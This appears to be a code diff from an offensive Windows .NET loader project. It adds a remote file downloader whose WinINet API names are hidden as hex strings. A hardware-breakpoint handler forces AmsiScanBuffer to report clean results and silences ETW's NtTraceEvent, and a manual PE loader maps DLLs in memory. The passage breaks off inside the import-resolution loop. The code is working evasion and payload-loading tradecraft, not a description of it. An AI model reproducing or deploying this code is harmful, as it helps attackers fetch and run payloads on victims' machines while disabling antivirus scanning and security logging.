if (SafeAssembly) {
|
||||
SafeArrayDestroy(SafeAssembly);
|
||||
SafeAssembly = nullptr;
|
||||
}
|
||||
|
||||
if (SafeArguments) {
|
||||
SafeArrayDestroy(SafeArguments);
|
||||
SafeArguments = nullptr;
|
||||
}
|
||||
|
||||
if (MethodInfo) {
|
||||
MethodInfo->Release();
|
||||
}
|
||||
|
||||
if (IRuntimeHost) {
|
||||
IRuntimeHost->Release();
|
||||
}
|
||||
|
||||
if (IRuntimeInfo) {
|
||||
IRuntimeInfo->Release();
|
||||
}
|
||||
|
||||
if (IMetaHost) {
|
||||
IMetaHost->Release();
|
||||
}
|
||||
|
||||
return HResult;
|
||||
}
|
||||
return HResult;
|
||||
}
|
||||
|
||||
@@ -128,14 +128,24 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Base64.cpp" />
|
||||
<ClCompile Include="BetterNetLoader.cpp" />
|
||||
<ClCompile Include="Http.cpp" />
|
||||
<ClCompile Include="HwBpEngine.cpp" />
|
||||
<ClCompile Include="LoadLibrary.cpp" />
|
||||
<ClCompile Include="LocalFileReaderA.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="winternal.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Base64.h" />
|
||||
<ClInclude Include="DotnetExecute.h" />
|
||||
<ClInclude Include="Http.h" />
|
||||
<ClInclude Include="HwBpEngine.h" />
|
||||
<ClInclude Include="LoadLibrary.h" />
|
||||
<ClInclude Include="LocalFileReaderA.h" />
|
||||
<ClInclude Include="mscorlib.h" />
|
||||
<ClInclude Include="winternal.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
|
||||
@@ -10,6 +10,21 @@
|
||||
<ClCompile Include="BetterNetLoader.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Http.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Base64.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LocalFileReaderA.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="winternal.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LoadLibrary.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="mscorlib.h">
|
||||
@@ -21,6 +36,21 @@
|
||||
<ClInclude Include="DotnetExecute.h">
|
||||
<Filter>Header</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Http.h">
|
||||
<Filter>Header</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Base64.h">
|
||||
<Filter>Header</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LocalFileReaderA.h">
|
||||
<Filter>Header</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="winternal.h">
|
||||
<Filter>Header</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LoadLibrary.h">
|
||||
<Filter>Header</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="Source">
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
#include <Windows.h>
|
||||
#include <wininet.h>
|
||||
#include "winternal.h" // Contains GetProcAddressReplacement, etc.
|
||||
|
||||
//
|
||||
// Static narrow string definitions (all in hex)
|
||||
//
|
||||
static const char s_wininet_dll[] = { 0x77,0x69,0x6E,0x69,0x6E,0x65,0x74,0x2E,0x64,0x6C,0x6C,0x00 }; // "wininet.dll"
|
||||
static const char s_InternetOpenA[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x4F,0x70,0x65,0x6E,0x41,0x00 }; // "InternetOpenA"
|
||||
static const char s_InternetOpenUrlA[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x4F,0x70,0x65,0x6E,0x55,0x72,0x6C,0x41,0x00 }; // "InternetOpenUrlA"
|
||||
static const char s_InternetReadFile[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x52,0x65,0x61,0x64,0x46,0x69,0x6C,0x65,0x00 }; // "InternetReadFile"
|
||||
static const char s_InternetCloseHandle[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x43,0x6C,0x6F,0x73,0x65,0x48,0x61,0x6E,0x64,0x6C,0x65,0x00 }; // "InternetCloseHandle"
|
||||
static const char s_FileDownloader[] = { 0x46,0x69,0x6C,0x65,0x44,0x6F,0x77,0x6E,0x6C,0x6F,0x61,0x64,0x65,0x72,0x00 }; // "FileDownloader"
|
||||
|
||||
//
|
||||
// Define function pointer types for wininet functions.
|
||||
//
|
||||
typedef HINTERNET(WINAPI* pfnInternetOpenA)(LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD);
|
||||
typedef HINTERNET(WINAPI* pfnInternetOpenUrlA)(HINTERNET, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR);
|
||||
typedef BOOL(WINAPI* pfnInternetReadFile)(HINTERNET, LPVOID, DWORD, LPDWORD);
|
||||
typedef BOOL(WINAPI* pfnInternetCloseHandle)(HINTERNET);
|
||||
|
||||
//
|
||||
// ReadFileFromURLA dynamically loads all required wininet functions.
|
||||
//
|
||||
BOOL ReadFileFromURLA(
|
||||
IN LPCSTR url,
|
||||
OUT PBYTE* ppFileBuffer,
|
||||
OUT PDWORD pdwFileSize
|
||||
)
|
||||
{
|
||||
// Load wininet.dll dynamically.
|
||||
HMODULE hWininet = LoadLibraryA(s_wininet_dll);
|
||||
if (!hWininet)
|
||||
return FALSE;
|
||||
|
||||
// Get function pointers via our replacement.
|
||||
pfnInternetOpenA fnInternetOpenA = (pfnInternetOpenA)GetProcAddressReplacement(hWininet, s_InternetOpenA);
|
||||
pfnInternetOpenUrlA fnInternetOpenUrlA = (pfnInternetOpenUrlA)GetProcAddressReplacement(hWininet, s_InternetOpenUrlA);
|
||||
pfnInternetReadFile fnInternetReadFile = (pfnInternetReadFile)GetProcAddressReplacement(hWininet, s_InternetReadFile);
|
||||
pfnInternetCloseHandle fnInternetCloseHandle = (pfnInternetCloseHandle)GetProcAddressReplacement(hWininet, s_InternetCloseHandle);
|
||||
|
||||
if (!fnInternetOpenA || !fnInternetOpenUrlA || !fnInternetReadFile || !fnInternetCloseHandle)
|
||||
{
|
||||
FreeLibrary(hWininet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Open an internet session.
|
||||
HINTERNET hInternet = fnInternetOpenA(s_FileDownloader, INTERNET_OPEN_TYPE_DIRECT, nullptr, nullptr, 0);
|
||||
if (!hInternet)
|
||||
{
|
||||
FreeLibrary(hWininet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Open the URL.
|
||||
HINTERNET hConnect = fnInternetOpenUrlA(hInternet, url, nullptr, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
|
||||
if (!hConnect)
|
||||
{
|
||||
fnInternetCloseHandle(hInternet);
|
||||
FreeLibrary(hWininet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Allocate an initial buffer (1MB).
|
||||
DWORD dwFileSize = 1024 * 1024;
|
||||
PBYTE pBaseAddress = reinterpret_cast<PBYTE>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize));
|
||||
if (!pBaseAddress)
|
||||
{
|
||||
fnInternetCloseHandle(hConnect);
|
||||
fnInternetCloseHandle(hInternet);
|
||||
FreeLibrary(hWininet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD dwBytesRead = 0, totalBytesRead = 0;
|
||||
do {
|
||||
// Expand buffer if needed.
|
||||
if (totalBytesRead + 1024 > dwFileSize)
|
||||
{
|
||||
dwFileSize = (dwFileSize + 1024) * 2;
|
||||
pBaseAddress = reinterpret_cast<PBYTE>(HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBaseAddress, dwFileSize));
|
||||
}
|
||||
fnInternetReadFile(hConnect, pBaseAddress + totalBytesRead, 1024, &dwBytesRead);
|
||||
totalBytesRead += dwBytesRead;
|
||||
} while (dwBytesRead > 0);
|
||||
|
||||
*pdwFileSize = totalBytesRead;
|
||||
*ppFileBuffer = pBaseAddress;
|
||||
|
||||
// Clean up.
|
||||
fnInternetCloseHandle(hConnect);
|
||||
fnInternetCloseHandle(hInternet);
|
||||
FreeLibrary(hWininet);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <wininet.h>
|
||||
|
||||
BOOL ReadFileFromURLA(
|
||||
IN LPCSTR url,
|
||||
OUT PBYTE* ppFileBuffer,
|
||||
OUT PDWORD pdwFileSize
|
||||
);
|
||||
+132
-64
@@ -1,78 +1,146 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <cstdio>
|
||||
#include <ntstatus.h>
|
||||
|
||||
BOOL HwbpEngineBreakpoint(
|
||||
_In_ ULONG Position,
|
||||
_In_ PVOID Function
|
||||
) {
|
||||
CONTEXT Context = {};
|
||||
#include "winternal.h"
|
||||
|
||||
SecureZeroMemory(&Context, sizeof(Context));
|
||||
// Ensure NT_SUCCESS is defined.
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
Context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
if (!GetThreadContext(GetCurrentThread(), &Context)) {
|
||||
printf("[-] GetThreadContext Failed with Error: %lx\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
if (Function) {
|
||||
(&Context.Dr0)[Position] = (UINT_PTR)Function;
|
||||
// --- Static Strings (as before) ---
|
||||
|
||||
Context.Dr7 &= ~(3ull << (16 + 4 * Position));
|
||||
Context.Dr7 &= ~(3ull << (18 + 4 * Position));
|
||||
Context.Dr7 |= 1ull << (2 * Position);
|
||||
}
|
||||
else {
|
||||
(&Context.Dr0)[Position] = 0;
|
||||
Context.Dr7 &= ~(1ull << (2 * Position));
|
||||
}
|
||||
static const char s_err_get_thread_context[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x47,0x65,0x74,0x54,0x68,0x72,0x65,0x61,0x64,0x43,0x6F,0x6E,
|
||||
0x74,0x65,0x78,0x74,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,
|
||||
0x20,0x65,0x72,0x72,0x6F,0x72,0x3A,0x20,0x25,0x6C,0x75,0x0A,0x00
|
||||
}; // "[-] GetThreadContext failed with error: %lu\n"
|
||||
|
||||
if (!SetThreadContext(GetCurrentThread(), &Context)) {
|
||||
printf("[-] SetThreadContext Failed with Error: %lx\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
static const char s_err_invalid_slot[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x49,0x6E,0x76,0x61,0x6C,0x69,0x64,0x20,0x62,0x72,0x65,0x61,
|
||||
0x6B,0x70,0x6F,0x69,0x6E,0x74,0x20,0x73,0x6C,0x6F,0x74,0x3A,0x20,0x25,0x75,0x0A,
|
||||
0x00
|
||||
}; // "[-] Invalid breakpoint slot: %u\n"
|
||||
|
||||
return TRUE;
|
||||
static const char s_err_ntcontinue_not_found[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x20,0x6E,
|
||||
0x6F,0x74,0x20,0x66,0x6F,0x75,0x6E,0x64,0x2E,0x0A,0x00
|
||||
}; // "[-] NtContinue not found.\n"
|
||||
|
||||
static const char s_err_ntcontinue_failed[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x20,0x66,
|
||||
0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x73,0x74,0x61,0x74,0x75,
|
||||
0x73,0x3A,0x20,0x30,0x78,0x25,0x6C,0x78,0x0A,0x00
|
||||
}; // "[-] NtContinue failed with status: 0x%lx\n"
|
||||
|
||||
static const char s_amsi_scan_buffer[] = {
|
||||
0x41,0x6D,0x73,0x69,0x53,0x63,0x61,0x6E,0x42,0x75,0x66,0x66,0x65,0x72,0x00
|
||||
}; // "AmsiScanBuffer"
|
||||
|
||||
static const char s_nt_trace_event[] = {
|
||||
0x4E,0x74,0x54,0x72,0x61,0x63,0x65,0x45,0x76,0x65,0x6E,0x74,0x00
|
||||
}; // "NtTraceEvent"
|
||||
|
||||
static const char s_nt_continue[] = {
|
||||
0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x00
|
||||
}; // "NtContinue"
|
||||
|
||||
// Narrow string for ntdll.dll is not used now; we use the wide version.
|
||||
static const WCHAR s_ntdll_dll_w[] = {
|
||||
0x006E,0x0074,0x0064,0x006C,0x006C,0x002E,0x0064,0x006C,0x006C,0x0000
|
||||
}; // L"ntdll.dll"
|
||||
|
||||
// Wide string for amsi.dll.
|
||||
static const WCHAR s_amsi_dll_w[] = {
|
||||
0x0061,0x006D,0x0073,0x0069,0x002E,0x0064,0x006C,0x006C,0x0000
|
||||
}; // L"amsi.dll"
|
||||
|
||||
// --- Modified Functions Using Replacement APIs ---
|
||||
|
||||
// Reimplementation of setting a hardware breakpoint on the current thread.
|
||||
// "slot" should be 0, 1, 2, or 3. "targetAddr" is the address to break on.
|
||||
bool SetUniqueHardwareBreakpoint(unsigned int slot, void* targetAddr) {
|
||||
CONTEXT ctx = {};
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
|
||||
if (!GetThreadContext(GetCurrentThread(), &ctx)) {
|
||||
std::printf(s_err_get_thread_context, GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Choose the correct debug register.
|
||||
switch (slot) {
|
||||
case 0: ctx.Dr0 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
|
||||
case 1: ctx.Dr1 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
|
||||
case 2: ctx.Dr2 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
|
||||
case 3: ctx.Dr3 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
|
||||
default:
|
||||
std::printf(s_err_invalid_slot, slot);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Clear any existing configuration for this slot.
|
||||
ctx.Dr7 &= ~(0xFULL << (16 + slot * 4));
|
||||
|
||||
// Enable the breakpoint in this slot.
|
||||
ctx.Dr7 |= (1ULL << (slot * 2));
|
||||
|
||||
// Use NtContinue to resume execution with our modified context.
|
||||
typedef NTSTATUS(NTAPI* NtContinue_t)(PCONTEXT, BOOLEAN);
|
||||
NtContinue_t NtContinueFunc = reinterpret_cast<NtContinue_t>(
|
||||
GetProcAddressReplacement(GetModuleHandleReplacement(s_ntdll_dll_w), s_nt_continue)
|
||||
);
|
||||
if (!NtContinueFunc) {
|
||||
std::printf(s_err_ntcontinue_not_found);
|
||||
return false;
|
||||
}
|
||||
NTSTATUS status = NtContinueFunc(&ctx, FALSE);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
std::printf(s_err_ntcontinue_failed, status);
|
||||
return false;
|
||||
}
|
||||
// (If NtContinue succeeds, this function will not return.)
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL HwbpEngineHandler(
|
||||
_Inout_ PEXCEPTION_POINTERS Exceptions
|
||||
) {
|
||||
LONG Result = {};
|
||||
PVOID AmsiAddress = {};
|
||||
PVOID EtwAddress = {};
|
||||
PEXCEPTION_RECORD Exception = {};
|
||||
PCONTEXT Context = {};
|
||||
UINT_PTR Return = {};
|
||||
PULONG ScanResult = {};
|
||||
// Exception handler for unique hardware breakpoints.
|
||||
// This function checks if the single-step exception occurred at one of our known addresses
|
||||
// and, if so, patches the context to simulate a successful function return.
|
||||
LONG HandleUniqueHwbpException(PEXCEPTION_POINTERS exPtrs) {
|
||||
HMODULE hAmsi = GetModuleHandleReplacement(s_amsi_dll_w);
|
||||
void* addrAmsi = hAmsi ? GetProcAddressReplacement(hAmsi, s_amsi_scan_buffer) : nullptr;
|
||||
HMODULE hNtdll = GetModuleHandleReplacement(s_ntdll_dll_w);
|
||||
void* addrNtTrace = hNtdll ? GetProcAddressReplacement(hNtdll, s_nt_trace_event) : nullptr;
|
||||
|
||||
AmsiAddress = GetProcAddress(GetModuleHandleA("amsi.dll"), "AmsiScanBuffer");
|
||||
EtwAddress = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
|
||||
Exception = Exceptions->ExceptionRecord;
|
||||
Context = Exceptions->ContextRecord;
|
||||
EXCEPTION_RECORD* exRec = exPtrs->ExceptionRecord;
|
||||
CONTEXT* ctx = exPtrs->ContextRecord;
|
||||
|
||||
if (Exception->ExceptionCode == EXCEPTION_SINGLE_STEP)
|
||||
{
|
||||
if (Exception->ExceptionAddress == AmsiAddress)
|
||||
{
|
||||
Return = *(PULONG_PTR)Context->Rsp;
|
||||
ScanResult = (PULONG)(*(PULONG_PTR)(Context->Rsp + (6 * sizeof(PVOID))));
|
||||
*ScanResult = 0;
|
||||
Context->Rip = Return;
|
||||
Context->Rsp += sizeof(PVOID);
|
||||
Context->Rax = S_OK;
|
||||
if (exRec->ExceptionCode != EXCEPTION_SINGLE_STEP)
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
uintptr_t exAddr = reinterpret_cast<uintptr_t>(exRec->ExceptionAddress);
|
||||
if (addrAmsi && exAddr == reinterpret_cast<uintptr_t>(addrAmsi)) {
|
||||
// For the AmsiScanBuffer breakpoint:
|
||||
DWORD64 retAddr = *reinterpret_cast<DWORD64*>(ctx->Rsp);
|
||||
DWORD64* pScanResult = reinterpret_cast<DWORD64*>(
|
||||
*reinterpret_cast<DWORD64*>(ctx->Rsp + 6 * sizeof(PVOID))
|
||||
);
|
||||
if (pScanResult) {
|
||||
*pScanResult = 0;
|
||||
}
|
||||
ctx->Rip = retAddr;
|
||||
ctx->Rsp += sizeof(PVOID);
|
||||
ctx->Rax = S_OK;
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
else if (addrNtTrace && exAddr == reinterpret_cast<uintptr_t>(addrNtTrace)) {
|
||||
// For the NtTraceEvent breakpoint:
|
||||
ctx->Rip = *reinterpret_cast<DWORD64*>(ctx->Rsp);
|
||||
ctx->Rsp += sizeof(PVOID);
|
||||
ctx->Rax = STATUS_SUCCESS;
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
|
||||
if (Exception->ExceptionAddress == EtwAddress)
|
||||
{
|
||||
Context->Rip = *(PULONG_PTR)Context->Rsp;
|
||||
Context->Rsp += sizeof(PVOID);
|
||||
Context->Rax = STATUS_SUCCESS;
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
}
|
||||
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
@@ -1,10 +1,5 @@
|
||||
#include <Windows.h>
|
||||
|
||||
BOOL HwbpEngineBreakpoint(
|
||||
_In_ ULONG Position,
|
||||
_In_ PVOID Function
|
||||
);
|
||||
bool SetUniqueHardwareBreakpoint(unsigned int slot, void* targetAddr);
|
||||
|
||||
BOOL HwbpEngineHandler(
|
||||
_Inout_ PEXCEPTION_POINTERS Exceptions
|
||||
);
|
||||
LONG HandleUniqueHwbpException(PEXCEPTION_POINTERS exPtrs);
|
||||
@@ -0,0 +1,217 @@
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Helper: Constructs an absolute path if lpFileName does not contain any path separator.
|
||||
static void BuildFullPath(LPCTSTR lpFileName, LPTSTR fullPath, size_t fullPathSize)
|
||||
{
|
||||
// Check if lpFileName contains '\' or '/' or ':' to determine if it is a full path.
|
||||
if (_tcschr(lpFileName, _T('\\')) || _tcschr(lpFileName, _T('/')) || _tcschr(lpFileName, _T(':')))
|
||||
{
|
||||
_tcsncpy_s(fullPath, fullPathSize, lpFileName, _TRUNCATE);
|
||||
}
|
||||
else
|
||||
{
|
||||
// If a singular name, use the system directory.
|
||||
TCHAR sysDir[MAX_PATH] = { 0 };
|
||||
if (GetSystemDirectory(sysDir, MAX_PATH))
|
||||
_stprintf_s(fullPath, fullPathSize, _T("%s\\%s"), sysDir, lpFileName);
|
||||
else
|
||||
_tcsncpy_s(fullPath, fullPathSize, lpFileName, _TRUNCATE);
|
||||
}
|
||||
// Debug print to verify the full path.
|
||||
_tprintf(_T("BuildFullPath: %s\n"), fullPath);
|
||||
}
|
||||
|
||||
// A simple manual PE loader that mimics LoadLibraryEx.
|
||||
// It reads the DLL file from disk, maps it into memory,
|
||||
// copies headers and sections, applies base relocations, resolves imports,
|
||||
// and finally calls DllMain with DLL_PROCESS_ATTACH.
|
||||
// dwFlags may include LOAD_LIBRARY_AS_DATAFILE or DONT_RESOLVE_DLL_REFERENCES.
|
||||
HMODULE MyLoadLibraryExWrapped(LPCTSTR lpFileName, HANDLE hFileIgnored, DWORD dwFlags)
|
||||
{
|
||||
TCHAR fullPath[MAX_PATH] = { 0 };
|
||||
BuildFullPath(lpFileName, fullPath, MAX_PATH);
|
||||
|
||||
// Open the file.
|
||||
HANDLE hFile = CreateFile(fullPath, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
_tprintf(_T("MyLoadLibraryExWrapped: CreateFile failed for %s\n"), fullPath);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Create a file mapping for reading.
|
||||
HANDLE hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
|
||||
if (!hFileMapping)
|
||||
{
|
||||
CloseHandle(hFile);
|
||||
_tprintf(_T("MyLoadLibraryExWrapped: CreateFileMapping failed for %s\n"), fullPath);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
LPVOID pFileBase = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
|
||||
if (!pFileBase)
|
||||
{
|
||||
CloseHandle(hFileMapping);
|
||||
CloseHandle(hFile);
|
||||
_tprintf(_T("MyLoadLibraryExWrapped: MapViewOfFile failed for %s\n"), fullPath);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Validate DOS header.
|
||||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)pFileBase;
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
UnmapViewOfFile(pFileBase);
|
||||
CloseHandle(hFileMapping);
|
||||
CloseHandle(hFile);
|
||||
_tprintf(_T("MyLoadLibraryExWrapped: Invalid DOS signature in %s\n"), fullPath);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Get NT headers.
|
||||
PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((LPBYTE)pFileBase + dosHeader->e_lfanew);
|
||||
if (pNTHeader->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
UnmapViewOfFile(pFileBase);
|
||||
CloseHandle(hFileMapping);
|
||||
CloseHandle(hFile);
|
||||
_tprintf(_T("MyLoadLibraryExWrapped: Invalid NT signature in %s\n"), fullPath);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Reserve memory for the image.
|
||||
SIZE_T imageSize = pNTHeader->OptionalHeader.SizeOfImage;
|
||||
LPVOID baseDll = VirtualAlloc((LPVOID)pNTHeader->OptionalHeader.ImageBase, imageSize,
|
||||
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!baseDll)
|
||||
baseDll = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!baseDll)
|
||||
{
|
||||
UnmapViewOfFile(pFileBase);
|
||||
CloseHandle(hFileMapping);
|
||||
CloseHandle(hFile);
|
||||
_tprintf(_T("MyLoadLibraryExWrapped: VirtualAlloc failed for %s\n"), fullPath);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Copy headers.
|
||||
memcpy(baseDll, pFileBase, pNTHeader->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
// Copy each section.
|
||||
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNTHeader);
|
||||
for (UINT i = 0; i < pNTHeader->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
LPVOID dest = (LPBYTE)baseDll + pSection[i].VirtualAddress;
|
||||
LPVOID src = (LPBYTE)pFileBase + pSection[i].PointerToRawData;
|
||||
memcpy(dest, src, pSection[i].SizeOfRawData);
|
||||
}
|
||||
|
||||
// Clean up file mapping.
|
||||
UnmapViewOfFile(pFileBase);
|
||||
CloseHandle(hFileMapping);
|
||||
CloseHandle(hFile);
|
||||
|
||||
// If not loaded as data file, perform base relocations.
|
||||
if (!(dwFlags & LOAD_LIBRARY_AS_DATAFILE) &&
|
||||
(DWORD_PTR)baseDll != pNTHeader->OptionalHeader.ImageBase)
|
||||
{
|
||||
PIMAGE_DATA_DIRECTORY relocDir = &pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
if (relocDir->Size)
|
||||
{
|
||||
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseDll + relocDir->VirtualAddress);
|
||||
DWORD_PTR delta = (DWORD_PTR)baseDll - pNTHeader->OptionalHeader.ImageBase;
|
||||
while (pReloc->VirtualAddress)
|
||||
{
|
||||
DWORD count = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
PWORD pRelocData = (PWORD)((LPBYTE)pReloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD i = 0; i < count; i++)
|
||||
{
|
||||
WORD typeOffset = pRelocData[i];
|
||||
WORD type = typeOffset >> 12;
|
||||
WORD offset = typeOffset & 0x0FFF;
|
||||
if (type == IMAGE_REL_BASED_HIGHLOW)
|
||||
{
|
||||
PDWORD pPatch = (PDWORD)((LPBYTE)baseDll + pReloc->VirtualAddress + offset);
|
||||
*pPatch += (DWORD)delta;
|
||||
}
|
||||
#ifdef _WIN64
|
||||
else if (type == IMAGE_REL_BASED_DIR64)
|
||||
{
|
||||
PULONGLONG pPatch = (PULONGLONG)((LPBYTE)baseDll + pReloc->VirtualAddress + offset);
|
||||
*pPatch += delta;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pReloc + pReloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Process imports (unless loading as data file or if flag to not resolve imports is set).
|
||||
if (!(dwFlags & (LOAD_LIBRARY_AS_DATAFILE | DONT_RESOLVE_DLL_REFERENCES)))
|
||||
{
|
||||
PIMAGE_DATA_DIRECTORY importDir = &pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if (importDir->Size)
|
||||
{
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)baseDll + importDir->VirtualAddress);
|
||||
while (pImportDesc->Name)
|
||||
{
|
||||
LPCTSTR importName = (LPCTSTR)((LPBYTE)baseDll + pImportDesc->Name);
|
||||
// Load dependency using standard LoadLibrary (or recursively call MyLoadLibraryExWrapped if desired).
|
||||
HMODULE hImport = LoadLibrary(importName);
|
||||
if (!hImport)
|
||||
{
|
||||
VirtualFree(baseDll, 0, MEM_RELEASE);
|
||||
_tprintf(_T("MyLoadLibraryExWrapped: Failed to load dependency %s\n"), importName);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((LPBYTE)baseDll + pImportDesc->OriginalFirstThunk);
|
||||
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((LPBYTE)baseDll + pImportDesc->FirstThunk);
|
||||
while (pOrigThunk->u1.AddressOfData)
|
||||
{
|
||||
FARPROC proc = NULL;
|
||||
if (pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
WORD ordinal = IMAGE_ORDINAL(pOrigThunk->u1.Ordinal);
|
||||
proc = GetProcAddress(hImport, (LPCSTR)ordinal);
|
||||
}
|
||||
else
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME pImport = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)baseDll + pOrigThunk->u1.AddressOfData);
|
||||
proc = GetProcAddress(hImport, (LPCSTR)pImport->Name);
|
||||
}
|
||||
if (!proc)
|
||||
{
|
||||
VirtualFree(baseDll, 0, MEM_RELEASE);
|
||||
_tprintf(_T("MyLoadLibraryExWrapped: Failed to resolve import in %s\n"), importName);
|
||||
return NULL;
|
||||
}
|
||||
pThunk->u1.Function = (ULONG_PTR)proc;
|
||||
pOrigThunk++;
